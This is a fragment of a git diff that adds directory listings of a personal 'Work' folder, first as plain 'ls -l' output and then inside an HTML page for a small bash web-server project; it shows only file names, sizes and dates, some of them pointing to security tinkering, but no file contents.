+drwxr-xr-x   2 harvie   harvie       4096 Jun 10 01:19 czech-tts
+drwxr-xr-x   3 harvie   harvie       4096 Mar  9 13:36 debian-ports
+drwxr-xr-x   4 harvie   harvie       4096 Jan 13 22:06 dl
+drwxr-xr-x   4 harvie   harvie       4096 Jun 17 02:26 dreammachine
+drwxr-xr-x   2 harvie   harvie       4096 Mar 25 23:44 eset
+drwxr-xr-x   3 harvie   harvie       4096 Jun 18 23:04 exploity
+drwxr-xr-x   4 harvie   harvie       4096 Jan 13 22:12 firefox-extensions
+drwxr-xr-x   4 harvie   harvie       4096 Jan 13 22:08 flashaudioplayer
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 fork
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:07 gbook
+drwxr-xr-x   3 harvie   harvie       4096 Jan 13 22:08 glade
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 grafika
+drwxr-xr-x   3 harvie   harvie       4096 May 20 13:44 hdr_photo
+drwxr-xr-x   6 harvie   harvie       4096 Jan 13 22:08 hhgame
+drwxr-xr-x   3 harvie   harvie       4096 Jan 13 22:07 hlds
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:11 infect
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 initbackdoor
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 input
+drwxr-xr-x   9 harvie   harvie       4096 May 17 23:23 jukebox
+drwxr-xr-x   6 harvie   harvie       4096 May 13 04:25 kdenlive
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 kexploit
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 keylogger
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 lastfm
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:07 lightspeed
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 lockpix
+drwxr-xr-x   3 harvie   harvie       4096 May  6 10:46 lolbot
+drwxr-xr-x   5 harvie   harvie       4096 Jan 13 22:07 mardera.cz
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:07 microsux
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 monobook
+drwxr-xr-x   2 harvie   harvie       4096 Mar  6 12:06 motivators
+drwxr-xr-x   2 harvie   harvie       4096 Mar 15 01:29 nano-crypt
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 netinfect
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 neuronics
+drwxr-xr-x   3 harvie   harvie       4096 Jan 13 22:08 overfloo
+drwxr-xr-x   7 harvie   harvie       4096 Jan 13 22:12 pebuilder
+drwxr-xr-x  13 harvie   harvie       4096 Jan 13 22:07 phpbb-backup
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 pico
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 playerMiniPackage
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 praxe
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 praxe-ssps2008
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 preklad
+drwxr-xr-x   4 harvie   harvie       4096 Jun 10 00:54 python
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:12 roman-alarm
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 rozepsane_clanky
+drwxr-xr-x   4 harvie   harvie       4096 May  1 13:10 rozhledna-krumlov
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 rqbeta
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:06 rudna.net
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 scannery
+drwxr-xr-x   5 harvie   harvie       4096 Jan 18 18:48 scio
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 scom
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 shellcodegenerator
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:07 sis
+drwxr-xr-x   7 harvie   harvie       4096 Jan 13 22:08 skripta
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:12 skriptad
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:07 soom_walp
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 spider_seed
+drwxr-xr-x   5 harvie   harvie       4096 Jan 13 22:12 src
+drwxr-xr-x   2 harvie   harvie       4096 May  3 21:22 stickerz
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 suplovani
+drwxr-xr-x   2 harvie   harvie       4096 May  3 21:21 t-shock
+drwxr-xr-x   2 harvie   harvie       4096 May 12 22:43 tablo
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 textdraw
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 texture
+drwxr-xr-x   4 harvie   harvie       4096 Jan 13 22:08 torchat
+drwxr-xr-x   3 harvie   harvie       4096 Jan 13 22:08 trace.dump.cz-lkm
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 tv-b-gone
+drwxr-xr-x   3 harvie   harvie       4096 Jan 13 22:08 tvbgone
+drwxr-xr-x   2 harvie   harvie       4096 May  5 23:05 usbinfect
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:06 virii-sources
+drwxr-xr-x   3 harvie   harvie       4096 Jan 13 22:08 virtualization
+drwxr-xr-x   2 harvie   harvie       4096 May 23 22:01 virustotal
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 vyleceni
+drwxr-xr-x   2 harvie   harvie       4096 Mar 12 19:23 warxing
+drwxr-xr-x   3 harvie   harvie       4096 Jan 13 22:08 wifi
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 wings
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 xbrain
+drwxr-xr-x   5 harvie   harvie       4096 Jun 10 15:55 zenman
+-rwxr-xr-x   1 harvie   harvie      88111 Jan  9 20:24 Blender-Linux.png
+-rwxr-xr-x   1 harvie   harvie       8869 Jan  9 20:24 Clockwork_Orange.doc
+-rwxr-xr-x   1 harvie   harvie     748344 Jan  9 20:24 Filemon.exe
+-rwxr-xr-x   1 harvie   harvie      61523 Jan  9 20:09 Goniometricke_vzorce.pdf
+-rwxr-xr-x   1 harvie   harvie    3740371 Jan  9 20:09 HEAD01.wings
+-rwxr-xr-x   1 harvie   harvie      30018 Jan  9 20:09 HEAD02.tga
+-rwxr-xr-x   1 harvie   harvie    3499006 Jan  9 20:09 HEAD02.wings
+-rwxr-xr-x   1 harvie   harvie    1638418 Jan  9 20:09 HEAD03.tga
+-rwxr-xr-x   1 harvie   harvie    4184131 Jan  9 20:09 HEAD03.wings
+-rwxr-xr-x   1 harvie   harvie      50231 Jan  9 20:24 Keylogging fun for C_C++ Beginners « BotHack.html
+-rwxr-xr-x   1 harvie   harvie       7372 Jan  9 20:08 MS-Ne.txt
+-rwxr-xr-x   1 harvie   harvie      20898 Jan  9 20:09 Policie_auta.jpg
+-rwxr-xr-x   1 harvie   harvie     228580 Jan  9 20:24 RFI.list
+-rwxr-xr-x   1 harvie   harvie      55864 Jan  9 20:08 Souctove_goniometricke_vzorce.pdf
+-rwxr-xr-x   1 harvie   harvie      16364 Jan  9 20:09 Warner_Brothers_logo.jpg
+-rwxr-xr-x   1 harvie   harvie     150777 Jan  9 20:24 Wings_3D-Debian.png
+-rwxr-xr-x   1 harvie   harvie       1483 Feb 10 00:11 ad-hoc-bridge
+-rwxr-xr-x   1 harvie   harvie        721 Jan  9 20:09 ajax-window.html
+-rwxr-xr-x   1 harvie   harvie       3169 Jan  9 20:09 animatrix.html
+-rwxr-xr-x   1 harvie   harvie      58885 Jan  9 20:24 apache2-security-10_tips.html
+-rwxr-xr-x   1 harvie   harvie        583 Jan  9 20:09 arpoison.bash
+-rw-r--r--   1 harvie   root        34816 Feb 12 20:49 avision-hp-sj-5370C.log
+-rwxr-xr-x   1 harvie   harvie      41412 Jan  9 20:24 axis
+-rwxr-xr-x   1 harvie   harvie        562 Jan  9 20:09 axis.htm
+-rwxr-xr-x   1 harvie   harvie     128806 Jan  9 20:09 axis.png
+-rwxr-xr-x   1 harvie   harvie   17246441 Jan  9 20:08 axis.swf
+-rwxr-xr-x   1 harvie   harvie       2939 Jan  9 20:24 axis_sux.txt
+-rwxr-xr-x   1 harvie   harvie       1402 Jan  9 20:09 bannerfind.php
+-rwxr-xr-x   1 harvie   harvie        572 Jan  9 20:09 bash-worm.htm
+-rwxr-xr-x   1 harvie   harvie    2401637 Jan  9 20:08 bash-worm.swf
+-rwxr-xr-x   1 harvie   harvie      21027 Jan  9 20:09 blender-spaceship.jpg
+-rwxr-xr-x   1 harvie   harvie       2929 Jan  9 20:09 botlib.php
+-rwxr-xr-x   1 harvie   harvie        890 Jan  9 20:09 bsod.bat
+-rwxr-xr-x   1 harvie   harvie        154 Jan  9 20:24 bsod.reg
+-rwxr-xr-x   1 harvie   harvie        906 Jan  9 20:24 bsod.sh
+-rwxr-xr-x   1 harvie   harvie        858 Jan  9 20:09 caudacious.sh
+-rwxr-xr-x   1 harvie   harvie       9384 Jan  9 20:09 cecko.ods
+-rwxr-xr-x   1 harvie   harvie       8267 Apr 28 23:49 cjl-farma_zvirat.doc
+-rwxr-xr-x   1 harvie   harvie     207232 Jan  9 20:09 cloth.blend
+-rwxr-xr-x   1 harvie   harvie     207232 Jan  9 20:09 cloth.blend1
+-rwxr-xr-x   1 harvie   harvie        315 Jan  9 20:09 config.php
+-rwxr-xr-x   1 harvie   harvie      13907 Jan  9 20:09 corner.gif
+-rw-r--r--   1 harvie   harvie     420501 Feb 16 18:49 corsair-usb-log.tar.gz
+-rwxr-xr-x   1 harvie   harvie    4194322 Jan  9 20:08 cube1_auv2.tga
+-rw-r--r--   1 harvie   harvie     168880 Mar  6 12:04 cztekpz4.gif
+-rwxr-xr-x   1 harvie   harvie      32981 Jan  9 20:09 daemoncze-dos.png
+-rwxr-xr-x   1 harvie   harvie        399 Jan  9 20:09 dalive
+-rwxr-xr-x   1 harvie   harvie        296 Jan  9 20:08 dcform.html
+-rwxr-xr-x   1 harvie   harvie       1136 Jan  9 20:08 dcreq.txt
+-rwxr-xr-x   1 harvie   harvie         58 Jan  9 20:08 de64.php
+-rwxr-xr-x   1 harvie   harvie        563 Jan  9 20:09 debgames.txt
+-rwxr-xr-x   1 harvie   harvie         23 Jan  9 20:09 debug.txt
+-rwxr-xr-x   1 harvie   harvie      29099 Jan  9 20:53 default-levelset
+-rwxr-xr-x   1 harvie   harvie         60 Jan  9 20:09 defaultmac.txt
+-rwxr-xr-x   1 harvie   harvie        118 Jan  9 20:09 disableall.txt
+-rwxr-xr-x   1 harvie   harvie       1124 Jan  9 20:09 dsniff.services
+-rwxr-xr-x   1 harvie   harvie      25725 Jan  9 20:09 ducks.txt
+-rwxr-xr-x   1 harvie   harvie        380 Jan  9 20:08 embedlinux.txt
+-rwxr-xr-x   1 harvie   harvie       2439 Jan  9 20:09 event0.txt
+-rwxr-xr-x   1 harvie   harvie        326 Jan  9 20:09 falive
+-rwxr-xr-x   1 harvie   harvie      79628 Jan  9 20:09 fbmodes.pdf
+-rwxr-xr-x   1 harvie   harvie       3649 Jan  9 20:09 fbmodes.txt
+-rwxr-xr-x   1 harvie   harvie      17302 Jan  9 20:08 fuzzer.pl
+-rw-r--r--   1 harvie   harvie       4889 Mar 17 08:05 fyzika-referat.txt
+-rw-r--r--   1 harvie   harvie       4889 Mar 16 18:45 fyzika-referat.txt~
+-rwxr-xr-x   1 harvie   harvie       7559 Jan  9 20:09 h01.svg
+-rwxr-xr-x   1 harvie   harvie    2298252 Jan  9 20:09 hPong_0.2b.mpeg
+-rwxr-xr-x   1 harvie   harvie       6598 Jan  9 20:09 hackujeme_panelak_01.dia
+-rwxr-xr-x   1 harvie   harvie      70862 Jan  9 20:08 hackujeme_panelak_01.png
+-rwxr-xr-x   1 harvie   harvie       3489 Jan  9 20:08 haluz1.png
+-rwxr-xr-x   1 harvie   harvie      19754 Jan  9 20:09 haluz2.png
+-rwxr-xr-x   1 harvie   harvie      18388 Jan  9 20:09 harvie.nanorc
+-rwxr-xr-x   1 harvie   harvie      30018 Jan  9 20:09 head.tga
+-rwxr-xr-x   1 harvie   harvie         24 Jan  9 20:09 hello.php
+-rwxr-xr-x   1 harvie   harvie       9626 Jan  9 20:09 hfshack.py
+-rwxr-xr-x   1 harvie   harvie        566 Jan  9 20:09 hhgame.htm
+-rwxr-xr-x   1 harvie   harvie     897139 Jan  9 20:09 hhgame.swf
+-rwxr-xr-x   1 harvie   harvie       2158 Jan  9 20:09 hlasky.txt
+-rwxr-xr-x   1 harvie   harvie     373837 Jan  9 20:09 hlava01.png
+-rwxr-xr-x   1 harvie   harvie     234782 Jan  9 20:08 hurka.png
+-rwxr-xr-x   1 harvie   harvie      85094 Jan  9 20:09 iislist.txt
+-rwxr-xr-x   1 harvie   harvie        179 Jan  9 20:09 infect.bash
+-rwxr-xr-x   1 harvie   harvie     142920 Jan  9 20:08 inflow.blend
+-rwxr-xr-x   1 harvie   harvie     142636 Jan  9 20:24 inflow.blend1
+-rwxr-xr-x   1 harvie   harvie       5439 Jan  9 20:24 it-ug.txt
+-rwxr-xr-x   1 harvie   harvie        280 Jan  9 20:08 jobs2oo8.txt
+-rwxr-xr-x   1 harvie   harvie       1145 Jan  9 20:09 jsget.html
+-rwxr-xr-x   1 harvie   harvie        680 Jan  9 20:09 jskeylog.html
+-rwxr-xr-x   1 harvie   harvie        308 Jan  9 20:24 kalive
+-rwxr-xr-x   1 harvie   harvie      32753 Jan  9 20:09 kernel.txt
+-rwxr-xr-x   1 harvie   harvie     119964 Jan  9 20:08 keyboardhook.aspx.html
+-rwxr-xr-x   1 harvie   harvie     159744 Jan  9 20:09 kf-mudru.doc
+-rwxr-xr-x   1 harvie   harvie       9805 Jan  9 20:08 kombi.txt
+-rw-r--r--   1 harvie   harvie      15332 May 20 22:56 kultuni_denik.odt
+-rwxr-xr-x   1 harvie   harvie      59313 Jan  9 20:24 kurz-c.doc
+-rwxr-xr-x   1 harvie   harvie       2165 Jan  9 20:08 kybca-cbp.txt
+-rwxr-xr-x   1 harvie   harvie       2735 Jan  9 20:09 kybca-cbp2.txt
+-rw-r--r--   1 harvie   harvie      16416 Feb  9 18:59 kybca-cyberpunk-topic.txt
+-rw-r--r--   1 harvie   harvie      26548 Feb  9 20:33 kybca-cyberpunk-topic2.html
+-rw-r--r--   1 harvie   harvie      25411 Feb  9 20:27 kybca-cyberpunk-topic2.html~
+-rw-r--r--   1 harvie   harvie      16440 Feb  9 19:26 kybca-cyberpunk-topic2.txt
+-rw-r--r--   1 harvie   harvie      16167 Feb 11 14:11 kybca-cyberpunk-topic3-tidy.html
+-rw-r--r--   1 harvie   harvie      16174 Feb 11 14:00 kybca-cyberpunk-topic3-tidy.html~
+-rw-r--r--   1 harvie   harvie      16181 Feb 11 13:53 kybca-cyberpunk-topic3.html
+-rw-r--r--   1 harvie   harvie      16181 Feb 11 13:46 kybca-cyberpunk-topic3.html~
+-rwxr-xr-x   1 harvie   harvie        900 Jan  9 20:08 kybcapost.html
+-rw-r--r--   1 harvie   harvie       2185 Feb  8 23:28 kybcaworm.txt
+-rw-r--r--   1 harvie   harvie       2213 Feb  8 23:09 kybcaworm.txt~
+-rwxr-xr-x   1 harvie   harvie        805 Jan  9 20:09 kyberia.sk.txt
+-rwxr-xr-x   1 harvie   harvie       3769 Jan  9 20:08 lastfm.txt
+-rwxr-xr-x   1 harvie   harvie      37748 Jan  9 20:09 lionwiki-monobook_0.2-final.tar.bz2
+-rwxr-xr-x   1 harvie   harvie      28570 Jan  9 20:09 lockpick-preview2.JPG
+-rwxr-xr-x   1 harvie   harvie       7017 Jan  9 20:09 logo.gif
+-rwxr-xr-x   1 harvie   harvie      14219 Jan  9 20:08 logo.svg
+-rwxr-xr-x   1 harvie   harvie       1181 Jan  9 20:08 lol.conf
+-rwxr-xr-x   1 harvie   harvie    7225404 Jan  9 20:09 lolhack.mpeg
+-rwxr-xr-x   1 harvie   harvie       2386 Jan  9 20:09 madarsko.txt
+-rwxr-xr-x   1 harvie   harvie       3529 Jan  9 20:08 mbox
+-rw-r--r--   1 harvie   harvie     232448 Jan 22 23:07 mk-praktikant-prihlaska.doc
+-rwxr-xr-x   1 harvie   harvie       1777 Jan  9 20:08 mod-security.txt
+-rwxr-xr-x   1 harvie   harvie       2241 Jan  9 20:09 mod_security-basic.txt
+-rwxr-xr-x   1 harvie   harvie     281339 Jan  9 20:09 moi.JPG
+-rwxr-xr-x   1 harvie   harvie         32 Jan  9 20:24 montenegro.txt
+-rwxr-xr-x   1 harvie   harvie      29699 Jan  9 20:24 motogp-win.png
+-rwxr-xr-x   1 harvie   harvie       2332 Jan  9 20:24 mples-2008.txt
+-rwxr-xr-x   1 harvie   harvie      19442 Jan  9 20:09 musil-kocarkarna.png
+-rwxr-xr-x   1 harvie   harvie       1823 Jan  9 20:24 nc-cnc.txt
+-rwxr-xr-x   1 harvie   harvie      12546 Jan  9 20:08 ona-uvaha-1.doc
+-rwxr-xr-x   1 harvie   harvie      18808 Jan  9 20:09 ona-uvaha-2.doc
+-rw-r--r--   1 harvie   harvie      21798 Mar 23 01:11 ona-uvaha-3.doc
+-rwxr-xr-x   1 harvie   harvie     142232 Jan  9 20:09 pacman.blend
+-rwxr-xr-x   1 harvie   harvie      12021 Jan  9 20:09 pernicek-clanky.txt
+-rwxr-xr-x   1 harvie   harvie       4706 Jan  9 20:09 phpfusion.php
+-rwxr-xr-x   1 harvie   harvie       9373 Jan  9 20:08 pixart.png
+-rwxr-xr-x   1 harvie   harvie      13197 Jan  9 20:09 pixart_iso.png
+-rwxr-xr-x   1 harvie   harvie       6340 Jan  9 20:09 pixtank.png
+-rwxr-xr-x   1 harvie   harvie       3107 Jan  9 20:09 prielom-cbp.html
+-rw-r--r--   1 harvie   harvie        111 Feb 12 17:34 promoce.txt
+-rwxr-xr-x   1 harvie   harvie       3097 Jan  9 20:08 proslov.php
+-rwxr-xr-x   1 harvie   harvie       2890 Jan  9 20:24 proslov.php.old
+-rwxr-xr-x   1 harvie   harvie         58 Jan  9 20:09 rchat.php
+-rw-r--r--   1 harvie   harvie         38 May  1 12:29 rozhledna.txt
+-rwxr-xr-x   1 harvie   harvie         35 Jan  9 20:09 rozvrh-cecko.txt
+-rwxr-xr-x   1 harvie   harvie      37639 Jan  9 20:09 runa-ss.jpg
+-rwxr-xr-x   1 harvie   harvie         78 Jan  9 20:09 scan.txt
+-rwxr-xr-x   1 harvie   harvie        465 Jan  9 20:08 scon
+-rwxr-xr-x   1 harvie   harvie        729 Jan  9 20:07 serialz.txt
+-rwxr-xr-x   1 harvie   harvie        849 Jan  9 20:09 serv_seek.php
+-rw-r--r--   1 harvie   harvie       2004 Apr 22 18:38 server-fail.txt
+-rw-r--r--   1 harvie   harvie       1907 Apr 22 16:01 server-fail.txt~
+-rwxr-xr-x   1 harvie   harvie       4505 Jan  9 20:09 server00-v.txt
+-rwxr-xr-x   1 harvie   harvie     139289 Jan  9 20:09 servlist.txt
+-rwxr-xr-x   1 harvie   harvie        207 Jan  9 20:09 sk-server-mac.txt.txt
+-rw-r--r--   1 harvie   harvie       9542 Jun 18 16:29 skills.html
+-rw-r--r--   1 harvie   harvie       9472 Jun 18 16:28 skills.html~
+-rwxr-xr-x   1 harvie   harvie        313 Jan  9 20:09 skoda.html
+-rwxr-xr-x   1 harvie   harvie     196590 Jan  9 20:09 soomasek.png
+-rwxr-xr-x   1 harvie   harvie        587 Jan  9 20:08 souctove_vzorce.txt
+-rwxr-xr-x   1 harvie   harvie     152368 Jan  9 20:09 spaceship.blend
+-rwxr-xr-x   1 harvie   harvie     151908 Jan  9 20:08 spaceship.blend1
+-rwxr-xr-x   1 harvie   harvie    1048594 Jan  9 20:09 sphere3_auv.tga
+-rwxr-xr-x   1 harvie   harvie    1048594 Jan  9 20:08 sphere3_copy4_auv2.tga
+-rwxr-xr-x   1 harvie   harvie       1630 Jan  9 20:24 ssps-wiki.txt
+-rwxr-xr-x   1 harvie   harvie       6944 Jan  9 20:08 strejcek-certifikace.txt
+-rwxr-xr-x   1 harvie   harvie        739 Jan  9 20:09 strejcek-hosting.txt
+-rwxr-xr-x   1 harvie   harvie        707 Feb 11 21:48 studenti.txt
+-rwxr-xr-x   1 harvie   harvie       2958 Jan  9 20:09 studentssps-nikto.txt
+-rwxr-xr-x   1 harvie   harvie         83 Jan  9 20:08 sys_call_table.sh
+-rwxr-xr-x   1 harvie   harvie      16826 Jan  9 20:09 test.html
+-rwxr-xr-x   1 harvie   harvie      84084 Jan  9 20:24 tiger-scan.txt
+-rwxr-xr-x   1 harvie   harvie        318 Jan  9 20:09 trackers-open.txt
+-rwxr-xr-x   1 harvie   harvie         84 Jan  9 20:24 ttyUSB0.default
+-rwxr-xr-x   1 harvie   harvie      16384 Jan  9 20:08 tucnak-budik.jpg
+-rwxr-xr-x   1 harvie   harvie        324 Jan  9 20:09 turbo.bash
+-rwxr-xr-x   1 harvie   harvie        240 Jan  9 20:24 vanoce.txt
+-rwxr-xr-x   1 harvie   harvie        270 Jan  9 20:09 vidrec.txt
+-rwxr-xr-x   1 harvie   harvie     121801 Jan  9 20:08 vista_logo[5].png
+-rwxr-xr-x   1 harvie   harvie       7356 Jan  9 20:09 vykriky
+-rwxr-xr-x   1 harvie   harvie        299 Jan  9 20:24 vykriky.c
+-rwxr-xr-x   1 harvie   harvie       7798 Jan  9 20:09 vyuka-it.txt
+-rwxr-xr-x   1 harvie   harvie      49577 Jan  9 20:09 warna.JPG
+-rwxr-xr-x   1 harvie   harvie     938654 Jan  9 20:08 warnabrother.bmp
+-rwxr-xr-x   1 harvie   harvie         99 Jan  9 20:08 wine_sandbox.bash
+-rwxr-xr-x   1 harvie   harvie      95744 Jan  9 20:09 word.doc
+-rwxr-xr-x   1 harvie   harvie       1251 Jan  9 20:07 xpbsod.sh
+-rwxr-xr-x   1 harvie   harvie       1422 Jan  9 20:08 youtube.sh
+-rwxr-xr-x   1 harvie   harvie     100960 Jan  9 20:24 youtube_hack.html
+-rwxr-xr-x   1 harvie   harvie      23121 Jan  9 20:09 zivotopis.abw
+-rwxr-xr-x   1 harvie   harvie      35865 Jan  9 20:09 zivotopis.doc
+-rwxr-xr-x   1 harvie   harvie       8478 Jan  9 20:09 zivotopis.html
+
diff --git a/bash/bash-httpd/lynx.html b/bash/bash-httpd/lynx.html new file mode 100644 index 0000000..5c3a836 --- /dev/null +++ b/bash/bash-httpd/lynx.html @@ -0,0 +1,614 @@ + + +/home/harvie/Work adresář + + + +

Aktuální adresář je /home/harvie/Work

+

+
+    drwx------  110 harvie   harvie      4096 Jun 18 23:49 ../
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 3d photo/
+    drwxrwxrwx    2 harvie   harvie      4096 Apr 23 00:30 AndromedaPHP/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:07 Arduino/
+    -rwxr-xr-x    1 harvie   harvie     88111 Jan  9 20:24 Blender-Linux.png
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 Bookz/
+    -rwxr-xr-x    1 harvie   harvie      8869 Jan  9 20:24 Clockwork_Orange.doc
+    drwxr-xr-x    2 harvie   harvie      4096 Feb 12 22:23 Corsair-Flash-32GB/
+    -rwxr-xr-x    1 harvie   harvie    748344 Jan  9 20:24 Filemon.exe
+    -rwxr-xr-x    1 harvie   harvie     61523 Jan  9 20:09 Goniometricke_vzorce.pdf
+    -rwxr-xr-x    1 harvie   harvie   3740371 Jan  9 20:09 HEAD01.wings
+    -rwxr-xr-x    1 harvie   harvie     30018 Jan  9 20:09 HEAD02.tga
+    -rwxr-xr-x    1 harvie   harvie   3499006 Jan  9 20:09 HEAD02.wings
+    -rwxr-xr-x    1 harvie   harvie   1638418 Jan  9 20:09 HEAD03.tga
+    -rwxr-xr-x    1 harvie   harvie   4184131 Jan  9 20:09 HEAD03.wings
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 Harvester/
+    -rwxr-xr-x    1 harvie   harvie     50231 Jan  9 20:24 Keylogging fun for C_C++ Beginners « BotHack.html
+    -rwxr-xr-x    1 harvie   harvie      7372 Jan  9 20:08 MS-Ne.txt
+    drwxr-xr-x    2 harvie   harvie      4096 May 23 14:53 Maturita/
+    drwxr-xr-x    5 harvie   harvie      4096 Jan 13 22:08 OldWork/
+    drwxr-xr-x   38 harvie   harvie      4096 Jun 11 00:15 PKGBUILDs/
+    -rwxr-xr-x    1 harvie   harvie     20898 Jan  9 20:09 Policie_auta.jpg
+    -rwxr-xr-x    1 harvie   harvie    228580 Jan  9 20:24 RFI.list
+    drwxr-xr-x    5 harvie   harvie      4096 Jan 18 16:49 SConsExamples/
+    -rwxr-xr-x    1 harvie   harvie     55864 Jan  9 20:08 Souctove_goniometricke_vzorce.pdf
+    -rwxr-xr-x    1 harvie   harvie     16364 Jan  9 20:09 Warner_Brothers_logo.jpg
+    -rwxr-xr-x    1 harvie   harvie    150777 Jan  9 20:24 Wings_3D-Debian.png
+    drwxr-xr-x    2 harvie   harvie      4096 Mar 22 23:06 Zadání názvu nové složky/
+    -rwxr-xr-x    1 harvie   harvie      1483 Feb 10 00:11 ad-hoc-bridge
+    -rwxr-xr-x    1 harvie   harvie       721 Jan  9 20:09 ajax-window.html
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:07 alarm/
+    drwxr-xr-x    3 harvie   harvie      4096 Jan 13 22:08 analyzing/
+    -rwxr-xr-x    1 harvie   harvie      3169 Jan  9 20:09 animatrix.html
+    drwxr-xr-x    3 harvie   harvie      4096 Jan 13 22:07 antennas/
+    -rwxr-xr-x    1 harvie   harvie     58885 Jan  9 20:24 apache2-security-10_tips.html
+    drwxr-xr-x    2 harvie   harvie      4096 May 12 02:31 arch-wiki/
+    -rwxr-xr-x    1 harvie   harvie       583 Jan  9 20:09 arpoison.bash
+    -rw-r--r--    1 harvie   root       34816 Feb 12 20:49 avision-hp-sj-5370C.log
+    -rwxr-xr-x    1 harvie   harvie     41412 Jan  9 20:24 axis
+    -rwxr-xr-x    1 harvie   harvie       562 Jan  9 20:09 axis.htm
+    -rwxr-xr-x    1 harvie   harvie    128806 Jan  9 20:09 axis.png
+    -rwxr-xr-x    1 harvie   harvie   17246441 Jan  9 20:08 axis.swf
+    -rwxr-xr-x    1 harvie   harvie      2939 Jan  9 20:24 axis_sux.txt
+    -rwxr-xr-x    1 harvie   harvie      1402 Jan  9 20:09 bannerfind.php
+    drwxr-xr-x    2 harvie   harvie      4096 Jun 19 00:26 bash-httpd/
+    -rwxr-xr-x    1 harvie   harvie       572 Jan  9 20:09 bash-worm.htm
+    -rwxr-xr-x    1 harvie   harvie   2401637 Jan  9 20:08 bash-worm.swf
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 bashcrawl/
+    drwxr-xr-x    5 harvie   harvie      4096 May 26 01:58 bbs/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 bhttpd/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 bircb/
+    drwxr-xr-x    2 harvie   harvie     32768 Jan 13 22:12 blendcache_cloth/
+    -rwxr-xr-x    1 harvie   harvie     21027 Jan  9 20:09 blender-spaceship.jpg
+    -rwxr-xr-x    1 harvie   harvie      2929 Jan  9 20:09 botlib.php
+    -rwxr-xr-x    1 harvie   harvie       890 Jan  9 20:09 bsod.bat
+    -rwxr-xr-x    1 harvie   harvie       154 Jan  9 20:24 bsod.reg
+    -rwxr-xr-x    1 harvie   harvie       906 Jan  9 20:24 bsod.sh
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 butils/
+    drwxr-xr-x    8 harvie   harvie      4096 Jan 13 22:08 c/
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:08 captcha/
+    -rwxr-xr-x    1 harvie   harvie       858 Jan  9 20:09 caudacious.sh
+    -rwxr-xr-x    1 harvie   harvie      9384 Jan  9 20:09 cecko.ods
+    drwxr-xr-x    3 harvie   harvie      4096 Jan 13 22:08 cecko/
+    drwxr-xr-x    5 harvie   harvie      4096 Jan 13 22:12 chat/
+    -rwxr-xr-x    1 harvie   harvie      8267 Apr 28 23:49 cjl-farma_zvirat.doc
+    -rwxr-xr-x    1 harvie   harvie    207232 Jan  9 20:09 cloth.blend
+    -rwxr-xr-x    1 harvie   harvie    207232 Jan  9 20:09 cloth.blend1
+    -rwxr-xr-x    1 harvie   harvie       315 Jan  9 20:09 config.php
+    drwxr-xr-x    2 harvie   harvie      4096 Jan 13 22:07 contests/
+    -rwxr-xr-x    1 harvie   harvie     13907 Jan  9 20:09 corner.gif
+    -rw-r--r--    1 harvie   harvie    420501 Feb 16 18:49 corsair-usb-log.tar.gz
+    drwxr-xr-x    7 harvie   harvie      4096 Feb 16 23:22 corsair-usb-log/
+    drwxr-xr-x    2 harvie   harvie      4096 Jun 10 14:18 crawler/
+    drwxr-xr-x    2 harvie   harvie      4096 May 26 01:40 cshell/
+    -rwxr-xr-x    1 harvie   harvie   4194322 Jan  9 20:08 cube1_auv2.tga
+    drwxr-xr-x    2 harvie   harvie      4096 Jun 10 01:19 czech-tts/
+    -rw-r--r--    1 harvie   harvie    168880 Mar  6 12:04 cztekpz4.gif
+    -rwxr-xr-x    1 harvie   harvie     32981 Jan  9 20:09 daemoncze-dos.png
+    -rwxr-xr-x    1 harvie   harvie       399 Jan  9 20:09 dalive
+    -rwxr-xr-x    1 harvie   harvie       296 Jan  9 20:08 dcform.html
